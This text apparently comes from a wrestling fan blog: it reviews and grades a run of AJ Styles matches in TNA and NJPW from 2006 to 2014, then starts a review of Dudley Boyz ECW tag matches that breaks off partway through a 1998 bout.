This is a match for the sake of a match. Tanahashi is basically the superman of NJPW at the moment (2012) and he’s a rising star at this point (2006). AJ is Mr. TNA for 2005. Remember that as it’ll come into play later. Feeling out process to start as they head to the mat. That goes nowhere so the fans chant for both guys. AJ gets armdragged down as Tenay talks about the history of Japanese guys in America.

They trade armdrags and Tanahashi takes over with an armbar. AJ is like screw that and dropkicks him to the floor. He sets for a dive but Tanahashi moves. AJ catches himself on the apron and we stop for some staring. Back in and Styles drops a knee for two. Tanahashi hits a release German for the same. Off to an abdominal stretch so Tenay can list off Tanahashi’s wins so we can have a reason to think something of him.

Styles gets caught in a sleeper and then its dragon cousin. A dragon sleeper swing gets two. That looked awesome. A middle rope elbow misses and Styles hits an enziguri to put both guys down. Tanahashi escapes a brainbuster but for some reason he puts AJ on the apron. There’s the springboard forearm for two. Hiroshi gets a knee up in the corner and hits a full nelson slam for two.

AJ misses a spin kick and Tanahashi takes him down with an enziguri. Tanahashi tries a belly to back superplex but AJ counters into a crossbody while in mid-air. Shannon Moore runs in with AJ’s plaque but it hits Tanahashi by mistake. AJ Pele’s him down and hits the Styles Clash on Tanahashi for the pin.

Rating: B-. Good match here but the ending holds it down a lot. Moore was doing his punk thing at this point and they put him with Styles for a few weeks until everyone realized that no one cared about Shannon Moore. The match was going really well as Tanahashi really is good, but again there’s no story to the match so it’s hard to care about it at all.

It’s been too long since AJ and Daniels did something together, so here’s Slammiversary 2006 with them as a dream team.

Tag Titles: Christopher Daniels/AJ Styles vs. America’s Most Wanted

AMW has the titles of course. Gail is looking great in all white tonight. Storm hides something behind the steps before the match starts. Styles and Storm start us off, which is a potential PPV main event today. Storm takes him down with a shoulder block so Styles starts jumping around to take over. There’s the dropdown dropkick and Storm is in trouble. The challengers start tagging in and out quickly as they work over Storm’s arm.

It’s off to Harris vs. Daniels for a battle of arm control. Daniels gets him down and steps on the head of Harris just to be evil, although in a friendly way of course. Storm comes in and we get some homosexually suggestive positions as a result. AMW gets sent to the floor and Styles hits a huge flip dive over the top to take them both down. Daniels brings Storm back in for a slingshot elbow drop for a delayed two.

Back to Styles and the perfect double teaming begins. Styles slides through Harris’ legs to ram his face into the apron. Styles goes back in to face the legal Storm but everything breaks down on the floor. Gail gets involved out there and AMW takes over again. AJ tries to use the barricade as a launch pad but Storm takes the legs out and sends AJ’s chest into the steel.

Back in and it’s Storm vs. Styles before a quick tag brings Harris back in. With Harris doing nothing he brings Storm back in for some kicks to the head for two. Back to the Wildcat who chokes away. I’m starting to get why Storm was the successful one after the team broke up. AJ gets spun around and almost makes a tag out of it, only to get caught in a spinning mat slam by Storm.

Styles counters the reverse tornado DDT and hits the Pele to put both guys down. There’s the double tag and Daniels speeds things up. The slingshot moonsault gets two on Harris as Storm messes up his save. A Blue Thunder Bomb puts Harris down but Gail makes the save. Sirelda, a Chyna wannabe, makes her debut and lays out Gail.

Back to the match, AMW tries a double team move off the top but AJ makes the save, allowing Daniels to hook a victory roll for two. Storm throws in a chair for Harris to blast Daniels to two. Hot tag brings in AJ with the springboard forearm followed by a pumphandle gutbuster. Spinal Tap misses and Harris blasts AJ in the face with the brass knuckles.

Daniels makes the save and AJ hits a slingshot splash for two. Back to Daniels but Angel’s Wings is broken up. The Last Call is blocked by a low blow and Angel’s Wings hits the second time but Harris elbows the referee. Storm brings in the beer bottle but it hits Harris in the head. A frog splash from AJ followed by the BME gives the Dream Team the titles.

Rating: B-. Another good match here and it would start a pretty solid reign for the new champions. AMW would slowly slip into a funk and be broken up by the end of the year. AJ and Daniels were a solid team though and they had some awesome matches against LAX, which was the whole idea of putting them together in the first place.

Time for another Joe match, from Sacrifice 2007.

AJ Styles vs. Samoa Joe

They’re treating this like a brand new match for some reason. I mean they’re not saying they’ve never met before, but they’re acting like this is an unheard of pairing. They exchange early control and Joe hits an enziguri in the corner to rattle Styles. Both guys try to speed things up but AJ misses a charge and goes to the floor where Joe hits the suicide elbow to send AJ into the crowd.

AJ gets knocked into the barricade and complains of a bad arm/elbow. Since AJ is a heel here he’s playing possum and pokes Joe in the eye. Why did they think this guy needed Flair again? Out to the floor again and Joe tries the Ole Kick but AJ gets out of the way. Back inside and AJ hits his drop down into the dropkick spot. That always looks so smooth, probably due to his using it in every match.

Joe grabs an atomic drop but a boot misses and AJ spin kicks him down for two. A release German buys some time for the fat Samoan. They slug it out and speed it up but Joe hits an overhead belly to belly and senton backsplash for two. AJ pulls the front of Joe’s trunks down to ram him into the corner and OH MY GOODNESS MY EYES!!!! I….I think I saw thong. What did I do to AJ to deserve that? I rate his matches well enough!

Springboard forearm looks to give AJ the advantage but the backflip into the reverse DDT fails also. The second attempt works better but it’s only good for two. He can’t hit the Clash and walks into a Death Valley Driver for two. Joe gets sent to the floor and may have messed the knee up. Back inside Joe kicks him in the face but can’t charge at Styles in the corner. AJ loads up the Spiral Tap but Joe was playing some serious possum, which AJ had been doing lately. Styles looks terrified so Joe locks in the Clutch and suplexes him over with it for the pin.

Rating: B-. Definitely one of their weaker matches but still very decent stuff. AJ just doesn’t work as a heel. It’s like trying to fight the Easter Bunny: you can try all you want, but it’s not there at the end of the day. This was very back and forth but was more like Joe getting revenge than being in any danger, which isn’t really all that great. Still though, Joe vs. AJ is always worth taking a look at.

Another feud we have to cover is AJ vs. Angle so here’s a match from Hard Justice 2008.

Kurt Angle vs. AJ Styles

Going from a really intense video to video game clips isn’t working for me. AJ has his white tights here so you know it’s going to be good. This is last man standing. Angle stays on the floor to mess with AJ’s mind. He’s done it three times so far. AJ finally goes after him but gets caught coming back into the ring. Angle gets a suplex and covers. Oh it’s one of those where the count doesn’t start until you get a pin.

Off to a chinlock really early in the match. Styles pounds away in the corner and a clothesline puts Angle on the floor. There’s a big dive over the top to the floor but it only gets two outside. Back in AJ keeps up the offense with a knee drop for two. Out to the floor again and Angle gets a belly to back to send AJ into the railing for two. They fight up to the ramp and AJ takes over again.

They’re up on the stage now and AJ hammers away. Kurt grabs him in an attempt at a belly to back off the stage but Styles lands on his feet (kind of). Angle is like screw it and dives off the stage with a front flip onto Styles for two. They’re back in the ring and Kurt gets a backbreaker for two and we hit the chinlock again. AJ gets a kick to the head but the Styles Clash is countered with a release belly to belly.

Angle covers after a slam of all things for two. Long chinlock goes on and AJ shakes his hand to try to get feeling back into it. They speed up and both try cross bodies at the same time. They’ve been going for awhile here and it’s been good so far. AJ sets for the springboard forearm but settles for a shoulder instead. Now he hooks a torture rack of all things and spins around into a powerbomb for two. That was a really close call.

Styles Clash is countered into the ankle lock but AJ kicks off and hits a release spinebuster to put Kurt down. Styles goes up but Angle runs the corner for the suplex. AJ is like screw that and knocks him back down. An attempt at a rana is caught into a powerbomb for two. Angle doesn’t let go and tries the Styles Clash on AJ. AJ avoids it and grabs the ankle lock with the grapevine and Angle taps to his own hold. That’s good for a 9 count and Angle hopping on one foot which is worth the price of admission alone.

AJ tries the moonsault into the DDT but Angle steps out of the way and hits him low. Here come the Germans and the last one is a release but he still can’t pin AJ. Angle goes Olympic but AJ counters the Slam and hits the Pele to put both guys down. AJ goes up top but Kurt makes the save. AJ knocks him back but Angle runs the corner and hits a release German off the top. The count is kind of weird as the pin counts and AJ gets his shoulder up at the same time. It counts apparently and AJ is up at 8. He takes the Olympic Slam immediately and it gets 9.

Angle is ready for AJ but the Slam is countered and AJ rolls through into the Clash for a quick pin. The referee starts the count fast every time so at least it’s not stupid looking. I’m not wild about the way the pins have to count because it slows things down between putting someone down and the count. Angle barely beats the count at 9 and the fans think this is awesome. They go up to the top and Angle wants to belly to belly him to the floor. AJ counters with a DDT off the top and Angle is shaking like Terry Funk. That gets the pin and the ten count.

Rating: A-. Oh come on it’s AJ vs. Kurt. Are you expecting something that isn’t great? This was their usual great match with a solid ending as you hardly ever see a DDT from the top rope. They were playing up the past neck injuries for Kurt so the ending is even more effective and a bit scary at the same time. Good match here and by far the best of the night so far. Somehow though, by far not their best match ever.

In 2009, Booker T. invented the Legends Title and made himself the first champion. That meant the title could be challenged for, and that’s exactly what AJ did at Destination X 2009.

Legends Title: AJ Styles vs. Booker T

The Legends Title would eventually evolve into the TV Title. Big reaction for AJ. Well it’s his house so that makes sense. The idea here is that Booker didn’t know this was a title match coming in. What that actually adds to it I’m not sure but they’re trying at least. They jockey for position to start us off until Booker grabs the arm. AJ does one of those athletic counters with a lot of flips and moves to get out.

The fans are split here as again the faces and heels are considered equals here. They seem like they’re a bit off base here but it’s not that bad. Big clothesline puts AJ down but Styles speeds it up and hits that perfect dropkick of his to send Booker to the floor. Forearm (still love that move) from the apron has Booker reeling. That gets two back in the ring and we go back to the back and forth stuff.

Booker gets a spin kick for two and throws on a key lock. AJ gets a Samoan Drop out of nowhere but Booker hangs on which is kind of impressive. That doesn’t last much longer and AJ gets some momentum going with strikes and the forearm in the corner. Hammerlock into a belly to back for two.

The spinning sunset flip out of the corner by Booker is reversed into a Styles Clash attempt which doesn’t work. Book End doesn’t work but the side kick does, getting two. AJ grabs a full nelson of all things but changes to a German suplex for two. He tries the forearm again but jumps into a kick to take both guys down. Booker Spinaroonies up but the Axe Kick misses. Pele sets up the Styles Clash for the totally clean win. That came out of nowhere.

Rating: C+. Hard one to grade here. This was less than ten minutes and is somehow by a good amount the longest match of the night so far in the first hour and a half of this show. This was pretty good while it lasted but it needed another 3-4 minutes to really get to another level. I don’t get why they have so many short matches tonight though as it’s kind of stupid.

AJ would go back into beast mode in late 2009 and get a World Title shot at No Surrender 2009.

TNA World Title: Sting vs. Kurt Angle vs. Matt Morgan vs. AJ Styles

We get the walking to the ring shots for all four guys and each guy gets a quick video about them also. AJ is listed as a three time world champion, meaning NWA title reigns count, which makes me wonder why Abyss is NEVER listed as a former world champion. These intros are taking FOREVER. There are a bunch of No Surrender posters in the hall coming out of Angle’s room as I guess they wanted to make sure their employees bought the show?

Tenay talks about bringing the title back to the family of the Mafia. You know, where it already is. We even do big match intros because a regular entrance, a video on each guy and watching them come to the ring isn’t enough I guess. And we’re STILL not done because as Angle is getting ready to be introduced, here’s Hernandez saying he didn’t come here just to wrestle for five minutes. More like 50 seconds but whatever. He’s jumping into this match instead of, you know, WAITING FOR IT TO BE OVER, but no one ever accused him of being smart.

TNA World Title: Sting vs. Kurt Angle vs. Matt Morgan vs. AJ Styles vs. Hernandez

The Lashley match ended nearly 17 minutes ago and the bell hasn’t rung yet for this one. Hernandez destroys Angle while everyone else watches which is a nice touch. He literally holds Angle up for 30 seconds in a vertical suplex and Angle is mostly dead. THERE’S THE BELL, 19 minutes after the previous match ended. Angle and Hernandez go to the floor so it’s more or less a triple threat in the ring.

Morgan is dominating in the ring as Hernandez sets for a Border Toss on the stage. Here’s Eric Young who hits Hernandez with a pipe and piledrives him on the stage. That’s all we’ll be seeing out of Hernandez here, meaning they wasted the last year for him with the briefcase and his time in the main event here ran about three minutes. AJ takes Sting down with a dropkick as Hernandez is helped to the back.

Angle is back at ringside now so AJ dives on him and Morgan. Morgan and Angle seem to team up as apparently Angle took the bullet for him on that dive. A tombstone doesn’t work for AJ as Angle rolls into the ankle lock. Morgan and Sting go inside now and there are the elbows in the corner. With AJ down it’s Angle/Morgan double teaming Sting as the match is dragging a bit already.

AJ pops up out of nowhere with the springboard clothesline on Angle. Fallaway slam to AJ by Morgan but Sting is back up now. Things are speeding back up a bit now as AJ pounds away on Matt, only to walk into a belly to belly by Angle. Morgan and Angle get into a contest of who can beat up AJ worse for awhile as Sting is stuck on the floor. Angle charges into the post so Morgan takes AJ down with a dropkick.

Pele puts Morgan down but Angle suplexes Styles. Did Sting die or something? He’s been gone for like five minutes now. Ah there he is with a missile dropkick to Angle but he might have hurt his shoulder. AJ pops back into it and hits a Styles Clash to Angle for two as Morgan saves. Hellevator gets the same on AJ. Death Drop to Morgan for two. Scorpion to Angle is countered into the ankle lock but a Carbon Footprint takes down Angle. Morgan goes to the floor and Sting stares at AJ. Sting dives on Morgan as AJ hits a springboard 450 to Angle for the title.

Rating: C-. I wasn’t feeling it here for the most part as they kept going back and forth two at a time which got rather boring after awhile. The ending was fine I guess as it set up Sting vs. AJ at BFG in a respect match, but the rest was pretty dull. The Hernandez aspect was such a waste but no one ever accused TNA of thinking these things through did they?

Continuing with Beast Mode, AJ defended against Angle at Genesis 2010.

TNA World Title: AJ Styles vs. Kurt Angle

This is one of those matchups where all you have to do is just throw them out there and it’s more or less a guaranteed near classic. Flair comes down soon after we start and I’m not thrilled at all. Why do they need to have Flair get involved and likely have him interfere? These two are going to have a great match no matter what, so why screw with it? To be fair though that could be the title for all of TNA at the moment so there we are.

Styles has been teasing a heel turn as of late which really scares me. For one thing, the only other face is Sting, and what’s the point in that as they JUST had their feud at BFG. This is another match that’s hard to comment on as it’s very solid. They keep countering finishers and Angle finally hooks the ankle lock. AJ just kicks him off. I don’t think I ever remember that before. AJ isn’t limping. Dang him. Angle gets a Styles Clash which never gets old.

There’s a tiny A for effort chant. We’ll see about that. The Angle Slam gets two as we’re running low on time. Angle goes Olympic and puts Styles in the ankle lock with the grapevine. AJ taps but Flair pulled the referee out. And of course his ankle is ok now. Flair throws the belt to AJ and he clocks Angle with it to go heel and gets the easy pin. I guess the pair of heels celebrate to take us out.

Rating: B+. This was a great match, but two things keep it from being a classic. First of all, the no selling of the ankle by AJ. He’s tapping out one minute and the next he’s perfectly fine? That doesn’t work for me, not when Angle had been working on it all match. Second, the unclean ending, but that’s a way of life in all wrestling so I can let that slide a bit. This wasn’t as good as their Impact match a few weeks ago but it was still pretty solid. Easily the match of the night but they’ve had far better ones.

Since 2010 was the year of THEY ARE COMING and AJ as a really stupid heel, we’ll jump ahead to Slammiversary 2011 for a last man standing match against up and coming star Bully Ray.

Bully Ray vs. AJ Styles

Last man standing here. AJ is listed as being from Gainesville, Florida instead of Georgia. Christy looks good, but dude, go wear low cut shirts and that’s about it. Staredown to start and then AJ hammers away. Ray runs him over so that gets us nowhere. This is going to take awhile to get anywhere, much like any last man standing match. Ray pounds away and we go to the floor for awhile.

Bully sets up the steps but chops away instead. He drops AJ onto the steps but pulls him up at about 4. Ray puts the steps on AJ and then stands on him, which should get a ten. Naturally Ray lets him up because he’s not that intelligent at times. That and a few more shots get a four. Back into the ring for some more hard chops as this has almost been all Ray.

AJ says bring it and holds his chest out. More chopping follows and Styles says keep em coming. Ray of course stands around and lets AJ get up because again, he’s not that smart. Instead he punches him in the jaw this time which works a bit better. AJ gets back up and his chest is all kinds of messed up. Styles hammers away and gets Ray down with the Pele. Springboard forearm gets six.

Ray goes up so AJ hits a Pele up there. AJ goes up there for a rana but gets caught in a sitout powerbomb. That looks awesome coming off the top and it gets like five here. They both stumble to the floor and Ray has a chain. That hits post though and Ray’s hand is hurt. AJ gets the chain and a jumping punch with it sends Ray under the ring to blade. Ooo and it’s a good one too.

Back in the ring and AJ gets his springboard 450 for a count of about 8. AJ picks Ray up and throws him to the floor and down goes a cameraman. Pescado puts Ray down again and it’s Styles Clash time. That of course doesn’t work so we go back up the ramp. Ray wants the powerbomb again but AJ hits a pair of Peles and a punt to send Ray to the floor.

AJ is like screw it and dives off the stage to Ray and it looks like his head slammed into Ray’s shoulder. That only gets 9. Styles loads up a table and puts it in front of the stage. Chair to the back puts Ray on it and it’s huge spot time. He sets for a running dive but realizes it’s too far. Instead he climbs up the truss and hits one of the biggest dives you’ll EVER see to kill Ray. I was legit scared there. And then Ray kicks him through the stage wall and wins the freaking thing. HORRIBLE ending as AJ was built up perfectly and then oh wait let’s make sure Ray wins because AJ freaking Styles isn’t a big enough star right?

Rating: B. Great match and the ending ruined it. AJ hits one of the biggest spots in company history and then BULLY FREAKING RAY beats him with a kick to the back? Are you freaking kidding me? Zero reason at all for Ray to win this and the shot he wins it with was freaking weak. AJ’s dive is worth seeing and is up there with the Swanton Jeff Hardy did to Orton on Raw like three years ago for scary dives. Hate the ending though. Absolutely hate it.

Time for Daniels! This time in an I quit match at Bound For Glory 2011.

AJ Styles vs. Christopher Daniels

It sounds like new music for both guys. AJ has another new remix. This is I Quit. There’s also no pyro for anyone tonight so far. The guys have the mic here and it’s a brawl to start. Daniels is asking if it’s over about 30 seconds in with a choke on AJ. AJ hooks a bridging Indian Deathlock and Daniels says no. We’re in that place in the match where they’re trying for fast submissions but no one believes it’s happening yet.

AJ hits his leapfrog/drop/dropkick spot and we head to the floor. AJ hits a flip dive and both guys are down. They find a tool box and Daniels tries to stab AJ with a screwdriver. The maiming attempt fails and they fight to the apron where they botch some kind of a suplex move. The screwdriver is stuck in the buckle. AJ has pink on his tights for breast cancer awareness month. Nothing wrong with that.

AJ still won’t quit so Daniels busts out the BME to AJ while he’s on his knees, making it more like Shadows Over Hell (Delirious move). Off to a half crab and of course AJ doesn’t quit. A spin kick is blocked and Daniels gets a backbreaker. There’s no eyeliner on Daniels either which is a weird look. He’s in tights instead of shorts too. It’s chair time and Chris sits down on it with the bar over AJ’s throat. Styles is bleeding over the top of the head, right around his hairline.

Daniels says everything AJ has in TNA will belong to him and he never wanted to hear AJ say I qu….”oh no I’m not saying it.” The fans chant for him to shut up and Daniels lets up for some reason. He looks into the camera and talks to Wendy (AJ’s wife) and says take the kids out of the room because they shouldn’t see their father murdered. Yeah this isn’t overkill at all.

AJ gets fired up and hits the backflip reverse DDT. Styles Clash fails and Daniels misses the BME. He shouts DIE AJ but runs into the Pele and the Clash. So….how does this make Daniels say he quits? AJ picks up the chair but grabs the screwdriver instead. And Daniels quits to avoid the pain ala JBL vs. Cena in 05. He quit at 13:52.

Rating: C. I’m not a fan of these matches because the ending is either the heel giving up after being hurt for a few seconds or giving up before something big happening. I wasn’t into this and the fans weren’t really either. I think they were going for a big ending and emotional moment but it never got to the level they were hoping for.

Then he was put in a tag team with Kurt Angle and got a shot at the titles at Slammiversary 2012.

Tag Titles: Kazarian/Christopher Daniels vs. Kurt Angle/AJ Styles

The match starts fast and AJ gets double teamed. It’s Styles vs. Kaz to get us going with Kaz rolling him up quickly before walking into a spin kick. Out to the floor and AJ does his slide under the barricade into the forearm spot. Daniels tries to interfere but Angle takes his head off with a clothesline. A knee to the face puts Kaz down and it’s off to Angle. Double suplex gets two. Off to Daniels who takes Angle down but he walks into a belly to belly.

Off to AJ who Daniels over his knee and goes for the Styles Clash but Chris runs to the apron. Kaz comes in and puts AJ on the ropes. Daniels interferes and Kaz hits a sweet bicycle kick to the face, catching AJ by his knee in the ropes. Daniels chokes a bit as AJ’s knee is done at the moment. Kaz comes in and gets hiptossed into a legdrop onto AJ for two. A suplex is blocked into a neckbreaker and both guys are down.

Double tag brings in the bald guys and Angle is all fired up. He snaps off an overhead belly to belly on Daniels and a German on Kaz. Angle Slam gets two on Daniels due to Kaz making the save. Kurt is like cool man and Germans them both at once. Ankle lock to Daniels is broken up by Kaz again and Daniels is back up. Angel’s Wings is countered and it’s off to AJ with the flying forearm. Moonsault into the reverse DDT takes down Kaz but it’s combined with a regular DDT to Daniels. Kaz distracts AGAIN before hitting a kick to the face of Styles.

Daniels busts out Last Rites but Angle makes the save. Things slow down a bit and AJ loads up a superplex on Kaz but gets shoved off. Angle runs the corner for the belly to belly and it’s down to Daniels vs. Styles. They slug it out and the release Rock Bottom sets up the BME, but Daniels lands on his feet. Unfortunately he lands in perfect position for a release German. Angle hits a top rope splash of all things for two but Daniels pulls the referee out. AJ hits a HUGE shooting star over the top to take out Daniels on the floor. Back in the ring Kaz tries Fade to Black but Angle reverses into the ankle lock for the tap at 14:26.

Rating: B+. Another good match here but it really doesn’t give us a bunch of resolution. Dixie wasn’t involved here, which to be fair is probably the best possible outcome, but it doesn’t really matter much. The match itself was great and it seems like they’re building to yet another final blowoff between Daniels and AJ, which is annoying but it’s what’s coming. AJ getting another title is fine by me.

To Hardcore Justice 2013 for some ladder climbing.

Bound For Glory Series: Austin Aries vs. Jeff Hardy vs. Kazarian vs. AJ Styles

This is for 20 points and it’s a ladder match. The clipboard hanging above the ring has a piece of paper with the number 20 on it. Keeping it simple I guess. Kaz goes to the floor to get the first ladder but the other three block him from coming back in. Aries and Kaz fight for the ladder on the ramp with Austin letting go of the ladder to send Kaz to the floor. A top rope ax handle puts Kaz down but AJ knocks Hardy to the floor as well. AJ dives onto Hardy to take him down again and leave Styles as the only man standing.

Kaz gets in a ladder shot to put AJ down before climbing the ladder. Aries comes back in and crotches Kaz against the ladder, leaving Austin vs. Jeff in the ring. Jeff sends him to the floor but AJ pulls the ladder away for a showdown. Hardy tries a quick Twist of Fate but gets shoved off and sent to the announce table on the floor. Kaz comes back in with a slingshot DDT to AJ but has to have a forearm duel with Aries. Styles dropkicks the ladder into the back of Kaz’s head but Aries backdrops AJ to the floor. The company is living up to its name for a change as this has been nonstop action since the bell.

Aries runs interference to stop Jeff and AJ from going up the ladder before sending Kaz head first into the post. Austin tries a climb but gets pulled down by Hardy and Jeff knocks down the other two as well. Jeff and Austin both go up but Kaz and AJ make the save, sending all four guys down as we take a break. Back with Aries going up but being pulled down by Kaz before he gets too far. AJ stops both of them and hits the springboard forearm to send Austin to the ramp. The ladder appears to be bent or broken.

Kaz brings in another ladder to clean house but can’t climb up fast enough. All four guys go up at the same time and AJ gets his fingers on the contract but Aries shakes everything up with a sunset bomb to Hardy. Kaz and AJ are left alone on the ladder and they fight over a suplex off the ladder. Kaz rakes AJ’s eyes to put him down but Styles shoves the ladder over, putting everyone down again.

Aries hits his running dropkick in the corner on Styles and goes up but Hardy makes another save. Styles pulls Aries off the ladder and loads up the Styles Clash but Kaz pulls in a downward spiral on AJ at the same time. Kaz goes up but it’s Jeff making another save. Aries comes out of the corner with a missile dropkick to take them both down and goes up as well, but here are Roode and Daniels for a distraction.

Styles plays Shelton Benjamin by springboarding up to the ladder but Hardy shoves the ladder over, sending both guys to the floor. Roode pulls Hardy down as Daniels distracts the referee but Jeff kicks him off. Daniels slips the appletini to Kaz and Jeff gets blinded, allowing Kaz to get the win at 17:35.

Rating: A-. This was the simple formula of take four guys and let them dive off stuff for fifteen minutes or so. I’m not big on another faction in TNA because they’re already on overload with them, but at least they’re not involved with the other two. The action here was great though and they couldn’t have picked a better opener.

AJ would win the BFG Series and face Bully Ray for the World Title. This is after AJ became a loner but then returned to his roots for no apparent reason.

TNA World Title: AJ Styles vs. Bully Ray

This is No DQ and No Countout. AJ’s music is the full dark theme this time and doesn’t break into Get Ready To Fly. After the big match intros we’re ready to go. Ray talks a lot of trash to start and slams AJ down with ease. AJ is thrown around again and his wristlock is broken up by a HARD clothesline. Ray shouts about smelling fear on AJ for years now, which motivates AJ into a dropkick.

Styles hooks the Calf Killer out of nowhere, drawing out Garrett Bischoff for a distraction for the break. It’s going to be one of those matches isn’t it. Garrett slides Ray the hammer but AJ kicks it away and grabs the hammer for himself. Ray blocks it with a chop and hits an even harder one for good measure. AJ says hit me again and Ray is stunned, allowing Styles to fire off some right hands. Ray chops him again but AJ says bring it. AJ goes after the leg but as he goes up, here’s Knux for another distraction. Styles dives at him but gets caught in a chokeslam to give Ray two.

Ray yells at Earl Hebner for the near fall so Earl yells back, only to have Ray miss a shot and take out Knux by mistake. Ray punches AJ down and then kicks him to the floor with the hammer going out too. The champion gets the hammer but AJ kicks him in the head, knocking Ray to the table. AJ grabs the hammer but throws it down and rams Ray into the table instead. Styles loads up a springboard 450 but Ray moves, sending AJ crashing through the table in a SCARY landing.

With Earl seeing if AJ can remember what planet he’s on, Taz hands Ray a box cutter so he can cut up the ring like he did at Slammiversary. The wood under the mat is revealed as AJ is trying to crawl back into the ring. Ray calls for someone to come out to the ring and here comes Dixie. She looks scared but Ray tells her to get a chair. Dixie demands one from security but AJ springboards in with the forearm to drive the chair into Bully’s head.

There’s the springboard 450 but Dixie tells Earl to count slowly. After about 20 seconds Earl gets to two and Ray kicks out. Ray backdrops out of the Styles Clash to send AJ back first into the wood but doesn’t cover. Ray’s middle rope backsplash actually connects but AJ is up at two. The fans aren’t really caring that much about these near falls. Bully blasts him twice in the back with the chair but AJ rolls out of a powerbomb and Peles Ray down. AJ blasts Ray in the head with the chair and there’s the Spiral Tap for the pin and the title at 20:34.

Rating: C. This wasn’t so much about would AJ win but how would he win. I do however have one question: can we PLEASE have a main event not be overbooked? These two have shown they can have a good match together without all the nonsense, but apparently that’s not allowed anymore. It doesn’t work when we saw this at Slammiversary and the luster was kind of gone here. Also, where were the extra Aces that Ray had? Where did Garrett go? At this point though, I’d take anything decent as a main event and that’s what this was: decent but not great.

AJ would be gone in early 2014 due to TNA not being able to afford him (but being able to bring in people like MVP), so he signed with NJPW and received a World Title shot at Wrestling Dontaku 2014.

IWGP World Title: AJ Styles vs. Kazuchika Okada

I believe this is part of a stable war between Okada’s Chaos and AJ’s Bullet Club, though neither are the leaders. The fans are behind Okada and he sends AJ to the apron to start. Okada actually gives a clean break against the ropes before doing his Rainmaker pose to tick AJ off. We hit a headlock on AJ followed by a big backdrop. Both guys miss charges in the corner but AJ grabs a quick suplex to send Okada into the corner.

A backrbeaker gets two for Styles and we hit the chinlock on the champion. AJ sends him out to the floor and Bullet Club pounds away on Okada while AJ distracts the referee. Back in and AJ nails the running forearm in the corner before sending Okada out to the floor for another beating. The referee finally catches on and ejects the Bullet Club, but not before Okada hits a HUGE flip dive to take the whole team out.

Back in and AJ goes after the leg with some kicks and a basic leg lock. Off to a bridging Indian Deathlock to put some real pressure on Okada’s knee. Ropes are grabbed so we hit the chinlock but Okada fights up and uppercuts AJ down. A flapjack puts AJ down but the champion can’t follow up. Okada gets two off a DDT but a double clothesline puts both guys down. It’s AJ up first with a suplex into a neckbreaker for two but he gets dropkicked off the top and out to the floor.

Okada nips up and is ready to go. A running big boot sends AJ over the barricade and an Orton Elevated DDT brings him back to ringside. Back in and Okada drops a huge elbow before calling for the Rainmaker (a wind-up clothesline). AJ counters into the Calf Killer but Okada finally makes the ropes. Back up and Okada, with a bad knee, is able to hit a big dropkick to put both guys down.

AJ wins a slugout and nails the Pele to counter a Rainmaker. The Clash is countered into a White Noise backbreaker and both guys are down again. AJ gets two more off the moonsault reverse DDT but Spiral Tap hits the mat. Okada tombstones him down but the Bullet Club comes out for a distraction, allowing Chaos member Yujiro Takahashi to come in and turn on Okada, revealing himself as the newest member of Bullet Club. AJ hits an implant DDT and the Clash gives him the title.

Rating: B. Good match here and the interference was kept to a minimum so it made a bigger impact at the end. I still don’t get the massive appeal of Okada but I’m sure I just need to watch another 18 matches to get it. AJ looked more energized that I’ve seen him in a long time and the match worked quite well.

AJ Styles was the king of TNA for a long time, but at the end of the day it’s just TNA. He’s had success everywhere he goes and is definitely talented, though I’d have liked to see what he could do on a bigger stage. The knock on him is his lack of promo skills but they’ve always seemed fine for the most part to me. Styles is certainly talented though and he did some amazing things in a TNA ring.

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Wrestler of the Day – June 1: Dudley Boyz

Today we’re going with the newest inductees into the TNA Hall of Fame: the Dudley Boys.

I know there are about 10 different Dudleyz, but we’ll be looking at the only two most people care about.

After a long run as part of the Dudley Boyz stable, consisting of a bunch of odd characters, D-Von showed up and made the Dudleyz a serious group. This led to Bubba Ray and D-Von forming a regular tag team who won several Tag Team Titles. One of their many title shots was at Hardcore Heaven 1997.

ECW Tag Titles: Dudley Boys vs. Gangstas

The Dudleys get no intro again. They’re joined by Big Dick Dudley, Sign Guy Dudley, Joel Gertner, and Jenna Jameson. Joel talks about how tonight….wait a minute. JENNA FREAKING JAMESON??? HOW DID THEY GET HER??? That makes little sense but whatever as she looks epic. Joey knows her before anyone introduces her. That’s not going to go over well at all methinks (stolen from X).

Anyway, Joel does the really long intro, including a great line of “One fall, fifteen minute time limit, your referee in charge is bald.” That’s a lot better than it sounds. Jenna looks like she’s having fun, which is far more than Pam Anderson could do. The Gangstas aren’t here tonight apparently, so the Dudleys win by forfeit. Instead we get this.

ECW Tag Titles: Dudley Boys vs. PG-13

The challengers are more commonly known as the white guys from the Nation of Domination. They were like 15 time tag champion in Memphis so whatever. They’re white rappers with the same amount of talent for wrestling that Vanilla Ice had at rapping. They’ve been talking all of ten seconds and I already hate them. They’re naturally the heels since they’re from Lawler’s company.

The one that talks is trying to be Jerry Lawler and it’s just failing all around. Oh and everyone wants to screw Jenna, and who can blame them? They must want to die from the clap or something like that. So after 8 minutes of intros we start with D-Von against Wolfie D. I wonder if he’s related to Desmond Wolf. You can shoot me at the end of the review. His partner is named JC Ice. That sums them up as well as anything I can say.

We get our first sexual assault on Jenna as JC hits the floor to kiss her. Ok correction: PG-13 aren’t bad. They’re just REALLY annoying. I really want to just smack the tar out of both of them 2 minutes into the match. In an amusing spot, Bubba has one of the white guys in his evil clutches but as he’s handing him to D-Von for some cheating, JC reverses it to give Bubba’s arm to D-Von, who keeps ramming it over his shoulder while all of his managers try to get his attention.

Once he finally gets the point he’s slammed the arm down about 9 times, drawing him a massive YOU F’D UP chant. Actually, the Dudleys are the heels here, which is a tribute to their heel drawing abilities. The Dudleys are FAR bigger than the other guys. It’s really funny looking. Jenna looks incredible. Every time she jumps there’s a huge pop.

They pick up the pace a lot and it turns into a free for all, which is how most tag matches in any company end so no problems there. PG13 is something like the Briscos if you’re an ROH fan, just minus the flair and the gimmick. 3D on Wolfe and that’s it. That came out of nowhere. The announcer says still 3 time tag team champions, which they could have been if they had lost.

Rating: C+. This was slightly better than your average tag match which means it wasn’t that bad. It’s about ten minutes long and is a run of the mill power vs. high flying match, meaning that it’s decent enough. It’s no classic, but I’ve seen far worse matches. Yeah that’s all I’ve got.

Here’s a rare non-title match from Wrestlepalooza 1998.

Dudley Boys vs. Tommy Dreamer/Sandman

Sandman cuts off the always funny Gertner entrance but the song makes up for it a bit. Beaulah is about as close to perfect as you can get. This is another “grudge” match where the grudge was developed between PPVs with no explanation as to what started it or any useless information like that. I get that Sandman’s entrance is cool, but they need to cut a minute or two out of it as it just goes on forever. Yep this is going to be a massive brawl because it’s been a full 4 minutes since we saw one of those.

